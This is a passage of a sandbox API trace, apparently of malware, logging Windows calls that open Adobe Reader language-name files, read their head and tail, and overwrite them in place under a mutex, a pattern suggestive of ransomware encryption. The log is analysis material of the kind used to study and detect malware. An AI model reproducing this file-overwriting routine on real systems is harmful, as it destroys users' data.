lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x5c96 [0045.468] WriteFile (in: hFile=0x198, lpBuffer=0x261bc78*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x261bc78*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0045.468] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0045.468] WriteFile (in: hFile=0x198, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x2e0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0045.469] CloseHandle (hObject=0x198) returned 1 [0045.469] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.da.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.da.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0045.469] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0045.469] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x6d72 [0045.469] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0045.469] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.469] ReleaseMutex (hMutex=0x128) returned 1 [0045.469] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.da.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0045.469] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.da.txt", cchWideChar=27, lpMultiByteStr=0x1e7fb4c, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.da.txt", lpUsedDefaultChar=0x0) returned 27 [0045.470] ReadFile (in: hFile=0x198, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.471] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x5d72 [0045.472] ReadFile (in: hFile=0x198, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.476] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x5d72 [0045.476] WriteFile (in: hFile=0x198, lpBuffer=0x261bc78*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x261bc78*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0045.477] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0045.477] WriteFile (in: hFile=0x198, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x2e0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0045.477] CloseHandle (hObject=0x198) returned 1 [0045.477] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_GB_EURO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.en_gb_euro.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0045.477] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0045.477] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x6e88 [0045.478] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0045.478] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.478] ReleaseMutex (hMutex=0x128) returned 1 [0045.478] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.en_GB_EURO.txt", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0045.478] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.en_GB_EURO.txt", cchWideChar=35, lpMultiByteStr=0x1eb2084, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.en_GB_EURO.txt", lpUsedDefaultChar=0x0) returned 35 [0045.478] ReadFile (in: hFile=0x198, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.485] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x5e88 [0045.485] ReadFile (in: hFile=0x198, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.493] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x5e88 [0045.493] WriteFile (in: hFile=0x198, lpBuffer=0x261bc78*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x261bc78*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0045.494] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0045.494] WriteFile (in: hFile=0x198, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x2e0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0045.494] CloseHandle (hObject=0x198) returned 1 [0045.494] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_EC.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_ec.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0045.495] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0045.495] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x6ec6 [0045.495] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0045.495] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.495] ReleaseMutex (hMutex=0x128) returned 1 [0045.495] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_EC.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0045.495] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_EC.txt", cchWideChar=30, lpMultiByteStr=0x1e7fb4c, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es_EC.txt", lpUsedDefaultChar=0x0) returned 30 [0045.495] ReadFile (in: hFile=0x198, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.499] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x5ec6 [0045.499] ReadFile (in: hFile=0x198, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.502] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x5ec6 [0045.502] WriteFile (in: hFile=0x198, lpBuffer=0x261bc78*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x261bc78*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0045.503] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0045.503] WriteFile (in: hFile=0x198, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x2e0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0045.503] CloseHandle (hObject=0x198) returned 1 [0045.503] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_PY.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_py.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0045.503] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0045.503] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x6ec8 [0045.503] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0045.504] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.504] ReleaseMutex (hMutex=0x128) returned 1 [0045.504] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_PY.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0045.504] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_PY.txt", cchWideChar=30, lpMultiByteStr=0x1e7fb4c, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es_PY.txt", lpUsedDefaultChar=0x0) returned 30 [0045.504] ReadFile (in: hFile=0x198, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.507] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x5ec8 [0045.507] ReadFile (in: hFile=0x198, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.507] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x5ec8 [0045.508] WriteFile (in: hFile=0x198, lpBuffer=0x261bc78*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x261bc78*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0045.508] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0045.508] WriteFile (in: hFile=0x198, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x2e0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0045.508] CloseHandle (hObject=0x198) returned 1 [0045.508] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fi_FI_PREEURO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.fi_fi_preeuro.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0045.509] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0045.509] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x6d7a [0045.509] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0045.509] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.509] ReleaseMutex (hMutex=0x128) returned 1 [0045.509] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.fi_FI_PREEURO.txt", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0045.509] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.fi_FI_PREEURO.txt", cchWideChar=38, lpMultiByteStr=0x1eb2084, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.fi_FI_PREEURO.txt", lpUsedDefaultChar=0x0) returned 38 [0045.509] ReadFile (in: hFile=0x198, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.511] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x5d7a [0045.511] ReadFile (in: hFile=0x198, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.514] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x5d7a [0045.514] WriteFile (in: hFile=0x198, lpBuffer=0x261bc78*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x261bc78*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0045.515] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0045.515] WriteFile (in: hFile=0x198, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x2e0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0045.515] CloseHandle (hObject=0x198) returned 1 [0045.515] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.it.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.it.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0045.516] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0045.516] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x6e88 [0045.516] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0045.516] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.516] ReleaseMutex (hMutex=0x128) returned 1 [0045.516] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.it.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0045.516] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.it.txt", cchWideChar=27, lpMultiByteStr=0x1e7fb4c, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.it.txt", lpUsedDefaultChar=0x0) returned 27 [0045.516] ReadFile (in: hFile=0x198, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.519] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x5e88 [0045.519] ReadFile (in: hFile=0x198, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.520] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x5e88 [0045.520] WriteFile (in: hFile=0x198, lpBuffer=0x261bc78*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x261bc78*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0045.521] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0045.521] WriteFile (in: hFile=0x198, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x2e0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0045.521] CloseHandle (hObject=0x198) returned 1 [0045.521] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.lt_LT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.lt_lt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0045.522] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0045.522] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x6bea [0045.522] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0045.522] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.522] ReleaseMutex (hMutex=0x128) returned 1 [0045.522] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.lt_LT.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0045.522] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.lt_LT.txt", cchWideChar=30, lpMultiByteStr=0x1e7fb4c, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.lt_LT.txt", lpUsedDefaultChar=0x0) returned 30 [0045.522] ReadFile (in: hFile=0x198, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.526] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x5bea [0045.526] ReadFile (in: hFile=0x198, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.530] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x5bea [0045.530] WriteFile (in: hFile=0x198, lpBuffer=0x261bc78*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x261bc78*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0045.530] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0045.531] WriteFile (in: hFile=0x198, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x2e0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0045.531] CloseHandle (hObject=0x198) returned 1 [0045.531] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nn_NO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nn_no.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0045.531] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0045.531] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x6df2 [0045.531] SetFilePointer (in: 